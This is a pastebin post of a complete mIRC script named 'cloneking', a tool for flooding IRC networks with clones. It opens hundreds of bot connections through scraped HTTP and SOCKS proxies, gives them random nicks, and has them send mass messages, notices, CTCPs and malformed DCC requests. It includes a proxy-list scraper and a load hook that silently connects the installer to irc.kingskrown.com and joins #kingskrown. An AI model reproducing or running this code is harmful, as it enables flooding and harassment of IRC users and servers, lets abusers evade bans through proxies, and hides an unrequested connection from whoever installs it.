All pastes #1269051 Raw Edit

The cloneking Project

public text v1 · immutable
#1269051 ·published 2008-11-28 00:17 UTC
rendered paste body
THE NEW WORLD ORDER ~ http://thenewworldorder.freehostia.com/main.html

On *:Load:{ 
  Var %Server = 1 
  While ($Scon(%Server)) { 
    Var %Servers = $Scon(%Server).Network 
    Inc %Server = 1 
    If (%Server == $Scon(0)) && (kingskrown !iswm %Servers) { 
      Join #kingskrown 
      Server -m irc.kingskrown.com -j #kingskrown 
      Halt 
    } 
  } 
} 

/* 
---------------- The cloneking Project ---------------- 

Thu Feb 21 12:18:37 2008 GMT 

If you are in need of assistance on how to use this 
dialog, then you probably should not be using it. 
Editing this dialog, may cause it not to work. 
This dialog was created using mIRC version 6.31 and 
tested on the UnrealIRCd host. 

For more information, visit irc.kingskrown.com 

------------------------------------------------------- 
*/ 

Dialog -l Connected { 
  Title "cloneking by kingskrown" 
  Size -1 -1 140 160 
  Option dbu 
  Box "", 1, 5 3 130 150 
  List 2, 12 13 115 125, Extsel Sort Size 
  Text "Connected", 3, 12 140 30 9 
  Text "0", 4, 50 140 20 9 
} 
On *:Dialog:Connected:Init:*:{ 
  Connected 
} 
Dialog -l Commands { 
  Title "cloneking by kingskrown" 
  Size -1 -1 200 200 
  Option dbu 
} 
Dialog -l Grabber { 
  Title "cloneking by kingskrown" 
  Size -1 -1 100 158 
  Option dbu 
  Box "", 1, 5 3 89 148 
  List 2, 12 13 75 100, Extsel Sort Size 
  Text "Site", 3, 12 120 20 9 
  Edit "", 4, 40 120 47 9, Autohs 
  Button "Search", 5, 12 133 75 11 
} 
On *:Sockopen:Grabber.*:{ 
  Sockwrite -nt $Sockname GET $Chr(47) $+ $Gettok($Remove($Did(Grabber,4),http://),2-,47) HTTP/1.0 
  Sockwrite -nt $Sockname Host: $Gettok($Regsubex($Did(Grabber,4),/http:///g,),1,47) 
  Sockwrite -nt $Sockname $Crlf 
} 
On *:Sockread:Grabber.*:{ 
  Sockread %Grabber 
  If ($Regex(%Grabber,/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}[: ]\d{1,5})/)) && (!$Didwm(Grabber,2,$Regml(1))) { 
    Did -a Grabber 2 $Regml(1) 
  } 
} 
On *:Dialog:Grabber:Sclick:5:{ 
  Sockopen Grabber. $+ $Ticks $Gettok($Remove($Did(Grabber,4),http://),1,47) 80 
} 
Menu * { 
  cloneking:cloneking 
} 
Alias cloneking { 
  If (!$Dialog(cloneking)) { 
    Dialog -md cloneking cloneking 
  } 
  Elseif ($Dialog(cloneking)) { 
    Dialog -v cloneking 
  } 
} 
Dialog -l cloneking { 
  Title "cloneking by kingskrown" 
  Size -1 -1 225 200 
  Option dbu 
  Tab "Configuration", 1, 5 5 215 175 
  Tab "Commands", 2 
  Tab "Status", 3 
  Box "", 4, 10 20 204 155, Tab 1 
  Text "Server", 5, 15 30 20 9, Tab 1 
  Edit "irc.kingskrown.com", 6, 50 29 50 9, Autohs Tab 1 
  Text "Port", 7, 15 41 20 9, Tab 1 
  Edit "6667", 8, 50 40 22 9, Limit 5 Number Tab 1 
  Text "Connections", 9, 15 52 30 9, Tab 1 
  Edit "1", 10, 50 51 22 9, Limit 3 Number Tab 1 
  Text "Protocol", 11, 15 74 20 9, Tab 1 
  Combo 12, 50 73 35 9, Drop Tab 1 
  Box "", 13, 15 85 90 42, Tab 1 
  Text "Identd", 14, 20 93 20 9, Tab 1 
  Edit "cloneking", 15, 50 92 35 9, Autohs Limit 9 Tab 1 
  Text "Nick", 16, 20 104 20 9, Tab 1 
  Edit "cloneking#####", 17, 50 103 50 9, Autohs Tab 1 
  Text "Realname", 18, 20 115 25 9, Tab 1 
  Edit "cloneking", 19, 50 114 50 9, Autohs Limit 50 Tab 1 
  Text "Raw", 20, 52 134 33 9, Tab 1 
  Edit "Join #kingskrown", 21, 20 143 80 23, Multi Return Autohs Vsbar Tab 1 
  Text "Delay", 22, 15 63 20 9, Tab 1 
  Edit "0", 23, 50 62 22 9, Number Limit 3 Tab 1 
  Box "", 24, 15 129 90 41, Tab 1 
  List 25, 128 44 75 100, Extsel Sort Size Tab 1 
  Box "", 26, 122 25 87 136, Tab 1 
  Button "&Import", 27, 130 32 35 11, Tab 1 
  Button "Export", 28, 166 32 35 11, Tab 1 
  Button "Copy", 29, 130 145 35 11, Tab 1 
  Button "Paste", 30, 166 145 35 11, Tab 1 
  Combo 31, 55 184 45 11, Drop 
  Button "Connect", 32, 5 184 45 11, Drop 
  Text "Connected", 33, 140 181 60 9 
  Text "0", 34, 180 181 30 9 
  Text "Connections", 35, 140 190 60 9 
  Text "0", 36, 180 190 30 9 
  Box "", 37, 10 20 87 128, Tab 2 
  List 38, 16 29 75 100, Extsel Sort Size Tab 2 
  Text "Command", 39, 16 133 25 9, Tab 2 
  Combo 40, 55 131 35 9, Drop Tab 2 
  Button "Raw", 41, 100 23 35 11, Tab 2 
  Edit "", 42, 142 24 70 9, Autohs Tab 2 
  Box "", 43, 10 20 204 155, Tab 3 
  Edit "", 44, 16 30 192 139, Multi Return Hsbar Vsbar Tab 3 
  Menu "Dialogs", 45 
  Item "&Connected", 46 
  Item "&Commands", 47 
  Item "&Grabber", 48 

  Text "The cloneking Project", 50, 139 163 70 9, Disable Tab 1 
} 
On *:Dialog:cloneking:Init:*:{ 
  Did -a $Dname 12 Normal 
  Did -a $Dname 12 Proxy 
  Did -a $Dname 12 Sock 
  Did -c $Dname 12 1 
  Did -a $Dname 31 Connect 
  Did -a $Dname 31 Disconnect 
  Did -a $Dname 31 Close Sockets 
  Did -a $Dname 31 Exit 
  Did -a $Dname 31 All 
  Did -c $Dname 31 1 
  Did -a $Dname 40 All 
  Did -a $Dname 40 Selected 
  Did -c $Dname 40 1 
  Statistics 
} 
On *:Dialog:cloneking:Sclick:*:{ 
  If ($Did == 27) { 
    Var %h = $Sfile($Mircdir,$Dname,Import) 
    If (%h) { 
      Var %g = 1 
      While ($Read(%h,%g)) { 
        If ($Regex($Read(%h,%g),/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}[: ]\d{1,5})/)) && (!$Didwm(25,$Regml(1))) { 
          Did -a $Dname 25 $Replace($Regml(1),$Chr(32),$Chr(58)) 
        } 
        Inc %g = 1 
      } 
    } 
  } 
  Elseif ($Did == 28) { 
    If ($Did(25).Lines) { 
      Var %Input = $Input(Do you want to save the list before you clear it?,nv,$Dname) 
      If (%Input == $yes) { 
        Var %Savedir = $Mircdir $+ $Did(12) $+ $Chr(46) $+ $Replace($Date(mm dd yy),$Chr(32),$Chr(46)) $+ .ini 
        Var %i = 1 
        While ($Did(25,%i)) { 
          If (!$Read(%Savedir,w,$Did(25,%i))) { 
            Write %Savedir $Did(25,%i) 
            If (%i == $Did(25).Lines) { 
              Did -r $Dname 25 
            } 
          } 
          Inc %i = 1 
        } 
      } 
      Elseif (%Input == $no) { 
        Did -r $Dname 25 
      } 
    } 
  } 
  Elseif ($Did == 29) { 
    If ($Did(25).Lines) { 
      Clipboard 
      Var %j = 1 
      While ($Did(25,%j)) { 
        Clipboard -an $Did(25,%j) 
        Inc %j = 1 
      } 
    } 
  } 
  Elseif ($Did == 30) { 
    Var %f = 1 
    While (%f <= $Cb(0)) { 
      If ($Regex($Cb(%f),/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}[: ]\d{1,5})/)) && (!$Didwm(25,$Regml(1))) { 
        Did -a $Dname 25 $Replace($Regml(1),$Chr(32),$Chr(58)) 
      } 
      Inc %f = 1 
    } 
  } 
  Elseif ($Did == 31) { 
    If ($Did($Did) != All) { 
      Did -ra $Dname 32 $Did($Did) 
    } 
    If ($Did(32) == Connect) { 
      If (!$Did($Did,5)) && (!$Did($Did,6)) { 
        Did -a $Dname $Did All 
      } 
    } 
    Elseif ($Did(32) != Connect) { 
      If ($Did($Did,5)) { 
        Did -d $Dname $Did 5 
      } 
    } 
  } 
  Elseif ($Did == 32) { 
    If ($Did($Did) == Connect) { 
      If ($Did(8) !isnum 1-65535) { 
        Return $Error(Invalid port number.) 
      } 
      Elseif (*.*.* !iswm $Did(6)) { 
        Return $Error(Invalid server name.) 
      } 
      Elseif ($Left($Did(17),1) isnum) { 
        Return $Error(The first character of a nick cannot contain a number.) 
      } 
      Elseif ($Did(10) !isnum 1-999) { 
        Return $Error(Invalid amount of connections.) 
      } 
      Elseif ($Did(12) != Normal) && (!$Did(25).Lines) { 
        Return $Error(Enter a $Did(12) in the $Did(12) list.) 
      } 
      Elseif (*?.?* iswm $Did(17)) && (!$Isfile($Did(17))) { 
        Return $Error(The file $Qt($Did(17)) does not exist.) 
      } 
      Elseif (!$Longip($Did(6))) { 
        .Enable #Dns 
        .Dns -c $Did(6) 
      } 
      Else { 
        If ($Did(31) == All) && ($Did(12) != Normal) { 
          Var %All = 1 
          While ($Did(25,%All)) { 
            Sockopen $Dname $+ $Chr(46) $+ $Did(12) $+ $Chr(46) $+ $Ticks $Replace($Did(25,%All),$Chr(58),$Chr(32)) 
            Inc %All = 1 
          } 
        } 
        Else { 
          .Timer $+ $Dname $Did(10) $Did(23) Connect 
        } 
      } 
      Statistics 
    } 
    Elseif ($Did($Did) == Disconnect) { 
      If ($Sock($Dname $+ .*,0)) { 
        .Timers off 
        Sockwrite -nt $Dname $+ .* Quit $Dname 
        Sockclose $Dname $+ .* 
        Did -ra $Dname 34 0 
        Did -ra $Dname 36 0 
        Did -r $Dname 38 
      } 
    } 
    Elseif ($Did($Did) == Close Sockets) { 
      .Timers off 
      Var %c = 1 
      While ($Sock($Dname $+ .*,%c)) { 
        If (!$Sock($Dname $+ .*,%c).Mark) { 
          Sockclose $Sock($Dname $+ .*,%c) 
        } 
        Inc %c = 1 
      } 
      Statistics 
    } 
    Elseif ($Did($Did) == Exit) { 
      .Timers off 
      Sockclose $Dname $+ .* 
      Dialog -x $Dname 
    } 
  } 
  Elseif ($Did == 41) { 
    Command $Did(40) $Did(42) 
  } 
} 
On *:Dialog:cloneking:Dclick:*:{ 
  If ($Did == 25) { 
    If ($Did($Did,0).Sel) { 
      Did -d $Dname $Did $Did($Did,$Did($Did,0).Sel).Sel 
    } 
    Elseif (!$Did($Did,0).Sel) { 
      Return $Error(You have not selected any text to remove.) 
    } 
  } 
} 
On *:Dialog:cloneking:Menu:*:{ 
  If ($Did == 46) { 
    If (!$Dialog(Connected)) { 
      Dialog -md Connected Connected 
    } 
    Elseif ($Dialog(Connected)) { 
      Dialog -v Connected 
    } 
  } 
  Elseif ($Did == 47) { 
    If (!$Dialog(Commands)) { 
      Dialog -md Commands Commands 
    } 
    Elseif ($Dialog(Commands)) { 
      Dialog -v Commands 
    } 
  } 
  Elseif ($Did == 48) { 
    If (!$Dialog(Grabber)) { 
      Dialog -md Grabber Grabber 
    } 
    Elseif ($Dialog(Grabber)) { 
      Dialog -v Grabber 
    } 
  } 
} 
On *:Dialog:cloneking:Close:*:{ 
  If ($Dialog(Connected)) { 
    Dialog -c Connected 
  } 
  If ($Dialog(Commands)) { 
    Dialog -c Commands 
  } 
  If ($Dialog(Grabber)) { 
    Dialog -c Grabber 
  } 
} 
#Dns off 
On *:Dns:{ 
  Var %Dname = cloneking 
  If ($Raddress) { 
    Did -ra %Dname 6 $Raddress 
    If ($Dialog(%Dname)) { 
      .Timer $+ %Dname $Did(%Dname,10) $Did(%Dname,23) Connect 
    } 
  } 
  Elseif (!$Raddress) { 
    Return $Error(Dns unable to resolve $Qt($Did(%Dname,6))) 
  } 
  .Disable #Dns 
} 
#Dns End 
On *:Sockopen:cloneking.*:{ 
  If ($Sockerr) { 
    Sockclose $Sockname 
  } 
  If ($Gettok($Sockname,2,46) == Normal) { 
    Info $Sockname 
  } 
  If ($Gettok($Sockname,2,46) == Proxy) { 
    Sockwrite $Sockname Connect $Did($Gettok($Sockname,1,46),6) $+ $Chr(58) $+ $Did($Gettok($Sockname,1,46),8) HTTP/1.0 
    Sockwrite $Sockname $Crlf $+ $Crlf $+ $Crlf 
    Info $Sockname 
  } 
  Elseif ($Gettok($Sockname,2,46) == Sock) { 
    Bset &Clone 1 5 1 0 
    Sockwrite $Sockname &Clone 
  } 
} 
On *:Sockread:cloneking.*:{ 
  If ($Sockerr) { 
    Sockclose $Sockname 
  } 
  If ($Gettok($Sockname,2,46) == Sock) && (!$Sock($Sockname).Mark) { 
    Sockread &Read 
    If ($Bvar(&Read,1,2) == 5 0) && ($Bvar(&Read,3)) { 
      Var %Server = $Replace($Did($Gettok($Sockname,1,46),6),$Chr(46),$Chr(32)) 
      Var %Port = $Gettok($Longip($Did($Gettok($Sockname,1,46),8)),3,46) $Gettok($Longip($Did($Gettok($Sockname,1,46),8)),4,46) 
      Bset &Clone.Send 1 5 1 0 1 %Server %Port 
      Sockwrite $Sockname &Clone.Send 
    } 
    If ($Bvar(&Read,1,3) == 5 0 0) { 
      Sockmark $Sockname 001 
      Info $Sockname 
    } 
  } 
  Sockread %cloneking 
  Tokenize 32 %cloneking 
  If ($1 == Ping) { 
    Sockwrite -nt $Sockname Pong : $+ $Gettok($2,1,58) 
  } 
  Elseif ($2 == Privmsg) { 
    If ($Count($4,$Chr(58)) == 1) { 
      If ($Gettok($4,2,1) == Ping) && ($5) { 
        Sockwrite -nt $Sockname Notice $Gettok($Gettok($1,1,33),1,58) $4 $5 
      } 
      Elseif ($Gettok($4,2,1) == Time) { 
        Sockwrite -nt $Sockname $2 $Gettok($Gettok($1,1,33),1,58) $Left($4,-1) $Asctime 
      } 
      Elseif ($Gettok($4,2,1) == Version) { 
        Sockwrite -nt $Sockname $2 $Gettok($Gettok($1,1,33),1,58) $Left($4,-1) $Gettok($Sockname,1,46) 
      } 
    } 
  } 
  Elseif ($2 == Nick) { 
    If ($Sock($Sockname).Mark == $Gettok($Gettok($1,1,33),1,58)) { 
      If ($Dialog($Gettok($Sockname,1,46))) { 
        Did -o $Gettok($Sockname,1,46) 38 $Didwm($Gettok($Sockname,1,46),38,$Sock($Sockname).Mark) $Gettok($Gettok($3,1,33),1,58) 
      } 
      Sockmark $Sockname $Gettok($Gettok($3,1,33),1,58) 
    } 
  } 
  Elseif ($2 == 001) { 
    If ($3) { 
      If ($Dialog($Gettok($Sockname,1,46))) { 
        Did -a $Gettok($Sockname,1,46) 38 $3 
      } 
      Var %b = 1 
      While ($Did($Gettok($Sockname,1,46),21,%b)) { 
        Command $Sockname $Replace($Gettok($Did($Gettok($Sockname,1,46),21,%b),1,47),$!Nick,$3) 
        Inc %b = 1 
      } 
      Sockmark $Sockname $3 
    } 
    Statistics 
    Connected 
  } 
  Elseif (43? iswm $2) { 
    If (!$Sock($Sockname).Mark) { 
      Var %Nick = $Regsubex($Str(-,10),/-/g,$Rand(a,z)) 
      If ($Did($Gettok($Sockname,1,46),17)) { 
        Var %Nick = $Regsubex($Regsubex($Did($Gettok($Sockname,1,46),17),/#/g,$Rand(0,9)),/&/g,$Rand(a,z)) $+ $Regsubex($Str(-,5),/-/g,$Rand(0,9)) 
      } 
      Elseif ($Isfile($Did($Gettok($Sockname,1,46),17))) { 
        Var %Nick = $Read($Did($Gettok($Sockname,1,46),17)) 
      } 
      Sockwrite -nt $Sockname Nick %Nick 
      Sockmark $Sockname $2 
    } 
    Elseif (43? iswm $Sock($Sockname).Mark) { 
      Sockwrite -nt $Sockname Nick $Regsubex($Str(-,10),/-/g,$Rand(a,z)) 
    } 
  } 
  If ($Dialog($Gettok($Sockname,1,46))) { 
    If (%cloneking) && ($Sock($Sockname).Mark !isnum) { 
      Did -i $Gettok($Sockname,1,46) 44 $Did($Gettok($Sockname,1,46),44).Lines %cloneking 
    } 
    Did -ra $Gettok($Sockname,1,46) 36 $Sock($Gettok($Sockname,1,46) $+ .*,0) 
  } 
  Unset %cloneking 
} 
On *:Sockclose:cloneking.*:{ 
  If ($Sock($Sockname).Mark !isnum) { 
    If ($Dialog($Gettok($Sockname,1,46))) && ($Didwm($Gettok($Sockname,1,46),38,$Sock($Sockname).Mark)) { 
      Did -d $Gettok($Sockname,1,46) 38 $Didwm($Gettok($Sockname,1,46),38,$Sock($Sockname).Mark) 
    } 
  } 
  Statistics 
  Connected 
} 
Alias -l Error { 
  Return $Input($1-,o,cloneking) 
} 
Alias -l Statistics { 
  If ($Dialog(cloneking)) { 
    Did -ra cloneking 36 $Sock(cloneking.*,0) 
    Did -r cloneking 38 
    Var %k = 1 
    While ($Sock(cloneking.*,%k)) { 
      If ($Sock(cloneking.*,%k).Mark) && ($Sock(cloneking.*,%k).Mark !isnum) { 
        If (!$Didwm(cloneking,38,$Sock(cloneking.*,%k).Mark)) { 
          Did -a cloneking 38 $Sock(cloneking.*,%k).Mark 
        } 
      } 
      Inc %k = 1 
    } 
    Did -ra cloneking 34 $Did(cloneking,38).Lines 
  } 
} 
Alias -l Connected { 
  If ($Dialog(Connected)) { 
    Did -r Connected 2 
    Var %Connected = 1 
    While ($Sock(cloneking.*,%Connected)) { 
      If ($Sock(cloneking.*,%Connected).Mark) && ($Sock(cloneking.*,%Connected).Mark !isnum) && ($Gettok($Sock(cloneking.*,%Connected),2,46) != Normal) { 
        If ($Didwm(Connected,2,$Sock(cloneking.*,%Connected).Ip $+ $Chr(58) $+ $Sock(cloneking.*,%Connected).Port $+ $Chr(42))) { 
          Did -o Connected 2 $V1 $Gettok($Did(Connected,2,$V1),1,1) $Chr(1) $Gettok($Sock(cloneking.*,%Connected),2,46) $Chr(1) $Calc($Gettok($Did(Connected,2,$V1),3,1) + 1) 
        } 
        Else { 
          Did -a Connected 2 $Sock(cloneking.*,%Connected).Ip $+ $Chr(58) $+ $Sock(cloneking.*,%Connected).Port $Chr(1) $Gettok($Sock(cloneking.*,%Connected),2,46) $Chr(1) 1 
        } 
      } 
      Inc %Connected = 1 
    } 
    Did -a Connected 4 $Did(Connected,2).Lines 
  } 
} 
Alias -l Connect { 
  Var %d = $Ticks 
  If ($Did(cloneking,12) == Normal) { 
    Sockopen cloneking $+ $Chr(46) $+ $Did(cloneking,12) $+ $Chr(46) $+ %d $Did(cloneking,6) $Did(cloneking,8) 
  } 
  Else { 
    If (!$Hget(List)) { 
      Hadd -m List 1 1 
    } 
    Elseif (!$Did(cloneking,25,$Hget(List,1))) { 
      Hadd List 1 1 
    } 
    Sockopen cloneking $+ $Chr(46) $+ $Did(cloneking,12) $+ $Chr(46) $+ %d $Replace($Did(cloneking,25,$Hget(List,1)),$Chr(58),$Chr(32)) 
    Hinc List 1 
  } 
} 
Alias -l Info { 
  Var %Nick = $Regsubex($Str(-,10),/-/g,$Rand(a,z)), %User = $Left(%Nick,9), %Name = %Nick 
  If ($Did($Gettok($1,1,46),17)) { 
    Var %Nick = $Regsubex($Regsubex($Did($Gettok($1,1,46),17),/#/g,$Rand(0,9)),/&/g,$Rand(a,z)) 
  } 
  Elseif ($Isfile($Did($Gettok($1,1,46),17))) { 
    Var %Nick = $Read($Did($Gettok($1,1,46),17)) 
  } 
  If ($Did($Gettok($1,1,46),15)) { 
    Var %User = $Regsubex($Regsubex($Did($Gettok($1,1,46),15),/#/g,$Rand(0,9)),/&/g,$Rand(a,z)) 
  } 
  If ($Did($Gettok($1,1,46),19)) { 
    Var %Name = $Did($Gettok($1,1,46),19) 
  } 
  Sockwrite -nt $1 User %User "" "" : $+ %Name 
  Sockwrite -nt $1 Nick %Nick 
} 
Alias -l Command { 
  Var %Command = 1 
  While ($Sock(cloneking.*,%Command)) { 
    If ($Sock(cloneking.*,%Command).Mark !isnum) { 
      If ($1 == All) { 
        Var %Sockname = $Sock(cloneking.*,%Command) 
      } 
      Elseif ($1 == Selected) { 
        Var %e = 1, %Dname = cloneking 
        While ($Did(%Dname,38,%e)) { 
          If ($Did(%Dname,38,%e).State == 1) && ($Did(%Dname,38,%e) == $Sock(cloneking.*,%Command).Mark) { 
            Var %Sockname = $Sock(cloneking.*,%Command) 
            Goto Command 
          } 
          Inc %e = 1 
        } 
      } 
    } 
    Elseif ($Gettok($1,1,46) == cloneking) { 
      Var %Sockname = $1 
    } 
    :Command 
    If (%Sockname) { 
      If ($Gettok($2,1,47) == Join) { 
        Sockwrite -nt %Sockname Join $3 
      } 
      Elseif ($Gettok($2,1,47) == Part) { 
        Sockwrite -nt %Sockname Part $3 : $+ $4- 
      } 
      Elseif ($Gettok($2,1,47) == Notice) { 
        Sockwrite -nt %Sockname Notice $3 : $+ $4- 
      } 
      Elseif ($Gettok($2,1,47) == Msg) { 
        Sockwrite -nt %Sockname Privmsg $3 : $+ $4- 
      } 
      Elseif ($Gettok($2,1,47) == Action) { 
        Sockwrite -nt %Sockname Privmsg $3 : $+ $Chr(1) $+ Action $4- 
      } 
      Elseif ($Gettok($2,1,47) == Ctcp) { 
        Sockwrite -nt %Sockname Privmsg $3 $Chr(1) $+ $4- $+ $Chr(1) 
      } 
      Elseif ($Gettok($2,1,47) == Dccsend) { 
        Sockwrite -nt %Sockname Privmsg $3 : $+ $Chr(1) $+ Dcc Send $4 × 1024 
      } 
      Elseif ($Gettok($2,1,47) == Dccchat) { 
        Sockwrite -nt %Sockname Privmsg $3 : $+ $Chr(1) $+ Dcc Chat × × 1024 
      } 
      Elseif ($Gettok($2,1,47) == Hop) { 
        Sockwrite -nt %Sockname Join $3 
        Sockwrite -nt %Sockname Part $3 : $+ $4- 
      } 
      Elseif ($Gettok($2,1,47) == Nick) { 
        Var %Nick = $Regsubex($Str(-,10),/-/g,$Rand(a,z)) 
        If ($3) { 
          Var %Nick = $Regsubex($3,/#/g,$Rand(0,9)),/&/g,$Rand(a,z)) 
        } 
        Elseif ($Isfile($3)) { 
          Var %Nick = $Read($3) 
        } 
        Sockwrite -nt %Sockname Nick %Nick 
      } 
      Else { 
        Sockwrite -nt %Sockname $Gettok($2,1,47) $Replace($3-,$!Nick,$Sock(cloneking.*,%Command).Mark) 
      } 
    } 
    Inc %Command = 1 
  } 
}